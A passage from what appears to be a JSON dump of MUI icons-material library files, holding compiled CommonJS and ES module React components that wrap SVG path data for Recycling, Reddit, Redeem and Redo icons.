    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.77 7.15 7.2 4.78l1.03-1.71c.39-.65 1.33-.65 1.72 0l1.48 2.46-1.23 2.06-1 1.62zm15.95 5.82-1.6-2.66-3.46 2L18.87 16H20c.76 0 1.45-.43 1.79-1.11.14-.28.21-.58.21-.89 0-.36-.1-.71-.28-1.03M16 21h1.5c.76 0 1.45-.43 1.79-1.11L20.74 17H16v-2l-4 4 4 4zm-6-4H5.7l-.84 1.41c-.3.5-.32 1.12-.06 1.65.28.57.87.94 1.52.94H10zm-3.88-2.65 1.73 1.04L6.48 9.9 1 11.27l1.7 1.02-.41.69c-.35.59-.38 1.31-.07 1.92l1.63 3.26zm10.9-9.21-1.3-2.17C15.35 2.37 14.7 2 14 2h-3.53l3.12 5.2-1.72 1.03 5.49 1.37 1.37-5.49z\"\n}), 'RecyclingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecyclingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.77 7.15 7.2 4.78l1.03-1.71c.39-.65 1.33-.65 1.72 0l1.48 2.46-1.23 2.06-1 1.62zm15.95 5.82-1.6-2.66-3.46 2L18.87 16H20c.76 0 1.45-.43 1.79-1.11.14-.28.21-.58.21-.89 0-.36-.1-.71-.28-1.03M16 21h1.5c.76 0 1.45-.43 1.79-1.11L20.74 17H16v-2l-4 4 4 4zm-6-4H5.7l-.84 1.41c-.3.5-.32 1.12-.06 1.65.28.57.87.94 1.52.94H10zm-3.88-2.65 1.73 1.04L6.48 9.9 1 11.27l1.7 1.02-.41.69c-.35.59-.38 1.31-.07 1.92l1.63 3.26zm10.9-9.21-1.3-2.17C15.35 2.37 14.7 2 14 2h-3.53l3.12 5.2-1.72 1.03 5.49 1.37 1.37-5.49z\"\n}), 'RecyclingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecyclingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.2 7.41c-.23-.14-.31-.45-.17-.68L7.2 4.78l1.03-1.71c.39-.65 1.33-.65 1.72 0l1.48 2.46-1.23 2.06-.72 1.2c-.16.23-.47.31-.71.17zm15.52 5.56-1.34-2.24c-.14-.23-.44-.31-.68-.18l-2.6 1.5c-.24.14-.32.45-.18.69L18.87 16h1.09c.61 0 1.2-.26 1.59-.73.3-.37.45-.82.45-1.27 0-.36-.1-.71-.28-1.03M16 21h1.5c.76 0 1.45-.43 1.79-1.11L20.74 17H16v-.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.35zm-6.5-4H5.7l-.84 1.41c-.3.5-.32 1.12-.06 1.65.28.57.87.94 1.52.94H9.5c.28 0 .5-.22.5-.5v-3c0-.28-.22-.5-.5-.5m-3.38-2.65.7.42c.38.23.85-.12.74-.55l-.96-3.84c-.06-.26-.33-.43-.6-.36l-3.83.96c-.43.11-.52.68-.14.91l.66.4-.41.69c-.35.59-.38 1.31-.07 1.92l1.63 3.26zm10.9-9.21-1.3-2.17C15.35 2.37 14.7 2 14 2h-3.53l3.12 5.2-.69.41c-.38.23-.3.81.14.91l3.83.96c.27.07.54-.1.61-.36l.96-3.83c.11-.43-.36-.78-.74-.55z\"\n}), 'RecyclingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecyclingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.2 7.41c-.23-.14-.31-.45-.17-.68L7.2 4.78l1.03-1.71c.39-.65 1.33-.65 1.72 0l1.48 2.46-1.23 2.06-.72 1.2c-.16.23-.47.31-.71.17zm15.52 5.56-1.34-2.24c-.14-.23-.44-.31-.68-.18l-2.6 1.5c-.24.14-.32.45-.18.69L18.87 16h1.09c.61 0 1.2-.26 1.59-.73.3-.37.45-.82.45-1.27 0-.36-.1-.71-.28-1.03M16 21h1.5c.76 0 1.45-.43 1.79-1.11L20.74 17H16v-.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.35zm-6.5-4H5.7l-.84 1.41c-.3.5-.32 1.12-.06 1.65.28.57.87.94 1.52.94H9.5c.28 0 .5-.22.5-.5v-3c0-.28-.22-.5-.5-.5m-3.38-2.65.7.42c.38.23.85-.12.74-.55l-.96-3.84c-.06-.26-.33-.43-.6-.36l-3.83.96c-.43.11-.52.68-.14.91l.66.4-.41.69c-.35.59-.38 1.31-.07 1.92l1.63 3.26zm10.9-9.21-1.3-2.17C15.35 2.37 14.7 2 14 2h-3.53l3.12 5.2-.69.41c-.38.23-.3.81.14.91l3.83.96c.27.07.54-.1.61-.36l.96-3.83c.11-.43-.36-.78-.74-.55z\"\n}), 'RecyclingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecyclingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.77 7.15 7.2 4.78l1.03-1.71c.39-.65 1.33-.65 1.72 0l1.48 2.46-1.23 2.06-1 1.62zm15.95 5.82-1.6-2.66-3.46 2L18.87 16H20c.76 0 1.45-.43 1.79-1.11.14-.28.21-.58.21-.89 0-.36-.1-.71-.28-1.03M16 21h1.5c.76 0 1.45-.43 1.79-1.11L20.74 17H16v-2l-4 4 4 4zm-6-4H5.7l-.84 1.41c-.3.5-.32 1.12-.06 1.65.28.57.87.94 1.52.94H10zm-3.88-2.65 1.73 1.04L6.48 9.9 1 11.27l1.7 1.02-.41.69c-.35.59-.38 1.31-.07 1.92l1.63 3.26zm10.9-9.21-1.3-2.17C15.35 2.37 14.7 2 14 2h-3.53l3.12 5.2-1.72 1.03 5.49 1.37 1.37-5.49z\"\n}), 'RecyclingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecyclingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.77 7.15 7.2 4.78l1.03-1.71c.39-.65 1.33-.65 1.72 0l1.48 2.46-1.23 2.06-1 1.62zm15.95 5.82-1.6-2.66-3.46 2L18.87 16H20c.76 0 1.45-.43 1.79-1.11.14-.28.21-.58.21-.89 0-.36-.1-.71-.28-1.03M16 21h1.5c.76 0 1.45-.43 1.79-1.11L20.74 17H16v-2l-4 4 4 4zm-6-4H5.7l-.84 1.41c-.3.5-.32 1.12-.06 1.65.28.57.87.94 1.52.94H10zm-3.88-2.65 1.73 1.04L6.48 9.9 1 11.27l1.7 1.02-.41.69c-.35.59-.38 1.31-.07 1.92l1.63 3.26zm10.9-9.21-1.3-2.17C15.35 2.37 14.7 2 14 2h-3.53l3.12 5.2-1.72 1.03 5.49 1.37 1.37-5.49z\"\n}), 'RecyclingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecyclingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.77 7.15 7.2 4.78l1.03-1.71c.39-.65 1.33-.65 1.72 0l1.48 2.46-1.23 2.06-1 1.62zm15.95 5.82-1.6-2.66-3.46 2L18.87 16H20c.76 0 1.45-.43 1.79-1.11.14-.28.21-.58.21-.89 0-.36-.1-.71-.28-1.03M16 21h1.5c.76 0 1.45-.43 1.79-1.11L20.74 17H16v-2l-4 4 4 4zm-6-4H5.7l-.84 1.41c-.3.5-.32 1.12-.06 1.65.28.57.87.94 1.52.94H10zm-3.88-2.65 1.73 1.04L6.48 9.9 1 11.27l1.7 1.02-.41.69c-.35.59-.38 1.31-.07 1.92l1.63 3.26zm10.9-9.21-1.3-2.17C15.35 2.37 14.7 2 14 2h-3.53l3.12 5.2-1.72 1.03 5.49 1.37 1.37-5.49z\"\n}), 'RecyclingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecyclingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.77 7.15 7.2 4.78l1.03-1.71c.39-.65 1.33-.65 1.72 0l1.48 2.46-1.23 2.06-1 1.62zm15.95 5.82-1.6-2.66-3.46 2L18.87 16H20c.76 0 1.45-.43 1.79-1.11.14-.28.21-.58.21-.89 0-.36-.1-.71-.28-1.03M16 21h1.5c.76 0 1.45-.43 1.79-1.11L20.74 17H16v-2l-4 4 4 4zm-6-4H5.7l-.84 1.41c-.3.5-.32 1.12-.06 1.65.28.57.87.94 1.52.94H10zm-3.88-2.65 1.73 1.04L6.48 9.9 1 11.27l1.7 1.02-.41.69c-.35.59-.38 1.31-.07 1.92l1.63 3.26zm10.9-9.21-1.3-2.17C15.35 2.37 14.7 2 14 2h-3.53l3.12 5.2-1.72 1.03 5.49 1.37 1.37-5.49z\"\n}), 'RecyclingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Reddit.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12.14a2.19 2.19 0 0 0-3.71-1.57 10.93 10.93 0 0 0-5.86-1.87l1-4.7 3.27.71a1.56 1.56 0 1 0 .16-.76l-3.64-.77c-.11-.02-.22 0-.29.06-.09.05-.14.14-.16.26l-1.11 5.22c-2.33.07-4.43.78-5.95 1.86A2.2 2.2 0 0 0 4.19 10a2.16 2.16 0 0 0-.9 4.15 3.6 3.6 0 0 0-.05.66c0 3.37 3.92 6.12 8.76 6.12s8.76-2.73 8.76-6.12c0-.21-.01-.44-.05-.66A2.21 2.21 0 0 0 22 12.14M7 13.7c0-.86.68-1.56 1.54-1.56s1.56.7 1.56 1.56a1.56 1.56 0 0 1-1.56 1.56c-.86.02-1.54-.7-1.54-1.56m8.71 4.14C14.63 18.92 12.59 19 12 19c-.61 0-2.65-.1-3.71-1.16a.4.4 0 0 1 0-.57.4.4 0 0 1 .57 0c.68.68 2.14.91 3.14.91s2.47-.23 3.14-.91a.4.4 0 0 1 .57 0c.14.16.14.41 0 .57m-.29-2.56c-.86 0-1.56-.7-1.56-1.56a1.56 1.56 0 0 1 1.56-1.56c.86 0 1.58.7 1.58 1.56a1.6 1.6 0 0 1-1.58 1.56z\"\n}), 'Reddit');"
  },
  {
    "path": "packages/mui-icons-material/lib/Reddit.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12.14a2.19 2.19 0 0 0-3.71-1.57 10.93 10.93 0 0 0-5.86-1.87l1-4.7 3.27.71a1.56 1.56 0 1 0 .16-.76l-3.64-.77c-.11-.02-.22 0-.29.06-.09.05-.14.14-.16.26l-1.11 5.22c-2.33.07-4.43.78-5.95 1.86A2.2 2.2 0 0 0 4.19 10a2.16 2.16 0 0 0-.9 4.15 3.6 3.6 0 0 0-.05.66c0 3.37 3.92 6.12 8.76 6.12s8.76-2.73 8.76-6.12c0-.21-.01-.44-.05-.66A2.21 2.21 0 0 0 22 12.14M7 13.7c0-.86.68-1.56 1.54-1.56s1.56.7 1.56 1.56a1.56 1.56 0 0 1-1.56 1.56c-.86.02-1.54-.7-1.54-1.56m8.71 4.14C14.63 18.92 12.59 19 12 19c-.61 0-2.65-.1-3.71-1.16a.4.4 0 0 1 0-.57.4.4 0 0 1 .57 0c.68.68 2.14.91 3.14.91s2.47-.23 3.14-.91a.4.4 0 0 1 .57 0c.14.16.14.41 0 .57m-.29-2.56c-.86 0-1.56-.7-1.56-1.56a1.56 1.56 0 0 1 1.56-1.56c.86 0 1.58.7 1.58 1.56a1.6 1.6 0 0 1-1.58 1.56z\"\n}), 'Reddit');"
  },
  {
    "path": "packages/mui-icons-material/lib/Redeem.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 11 8.76l1-1.36 1 1.36L15.38 12 17 10.83 14.92 8H20z\"\n}), 'Redeem');"
  },
  {
    "path": "packages/mui-icons-material/lib/Redeem.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 11 8.76l1-1.36 1 1.36L15.38 12 17 10.83 14.92 8H20z\"\n}), 'Redeem');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedeemOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 11 8.76l1-1.36 1 1.36L15.38 12 17 10.83 14.92 8H20z\"\n}), 'RedeemOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedeemOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 11 8.76l1-1.36 1 1.36L15.38 12 17 10.83 14.92 8H20z\"\n}), 'RedeemOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedeemRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m10 15H5c-.55 0-1-.45-1-1v-1h16v1c0 .55-.45 1-1 1m1-5H4V9c0-.55.45-1 1-1h4.08L7.6 10.02c-.33.45-.23 1.08.22 1.4.44.32 1.07.22 1.39-.22L12 7.4l2.79 3.8c.32.44.95.54 1.39.22.45-.32.55-.95.22-1.4L14.92 8H19c.55 0 1 .45 1 1z\"\n}), 'RedeemRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedeemRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m10 15H5c-.55 0-1-.45-1-1v-1h16v1c0 .55-.45 1-1 1m1-5H4V9c0-.55.45-1 1-1h4.08L7.6 10.02c-.33.45-.23 1.08.22 1.4.44.32 1.07.22 1.39-.22L12 7.4l2.79 3.8c.32.44.95.54 1.39.22.45-.32.55-.95.22-1.4L14.92 8H19c.55 0 1 .45 1 1z\"\n}), 'RedeemRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedeemSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6h-4.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H2v15h20zm-7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 12 7.4l3.38 4.6L17 10.83 14.92 8H20z\"\n}), 'RedeemSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedeemSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6h-4.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H2v15h20zm-7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 12 7.4l3.38 4.6L17 10.83 14.92 8H20z\"\n}), 'RedeemSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedeemTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17h16v2H4zm13-6.17L15.38 12 13 8.76 12 7.4l-1 1.36L8.62 12 7 10.83 9.08 8H4v6h16V8h-5.08z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 11 8.76l1-1.36 1 1.36L15.38 12 17 10.83 14.92 8H20z\"\n}, \"1\")], 'RedeemTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedeemTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17h16v2H4zm13-6.17L15.38 12 13 8.76 12 7.4l-1 1.36L8.62 12 7 10.83 9.08 8H4v6h16V8h-5.08z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 11 8.76l1-1.36 1 1.36L15.38 12 17 10.83 14.92 8H20z\"\n}, \"1\")], 'RedeemTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Redo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.4 10.6C16.55 8.99 14.15 8 11.5 8c-4.65 0-8.58 3.03-9.96 7.22L3.9 16c1.05-3.19 4.05-5.5 7.6-5.5 1.95 0 3.73.72 5.12 1.88L13 16h9V7z\"\n}), 'Redo');"
  },
  {
    "path": "packages/mui-icons-material/lib/Redo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.4 10.6C16.55 8.99 14.15 8 11.5 8c-4.65 0-8.58 3.03-9.96 7.22L3.9 16c1.05-3.19 4.05-5.5 7.6-5.5 1.95 0 3.73.72 5.12 1.88L13 16h9V7z\"\n}), 'Redo');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.4 10.6C16.55 8.99 14.15 8 11.5 8c-4.65 0-8.58 3.03-9.96 7.22L3.9 16c1.05-3.19 4.05-5.5 7.6-5.5 1.95 0 3.73.72 5.12 1.88L13 16h9V7z\"\n}), 'RedoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.4 10.6C16.55 8.99 14.15 8 11.5 8c-4.65 0-8.58 3.03-9.96 7.22L3.9 16c1.05-3.19 4.05-5.5 7.6-5.5 1.95 0 3.73.72 5.12 1.88L13 16h9V7z\"\n}), 'RedoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedoRounded.js",
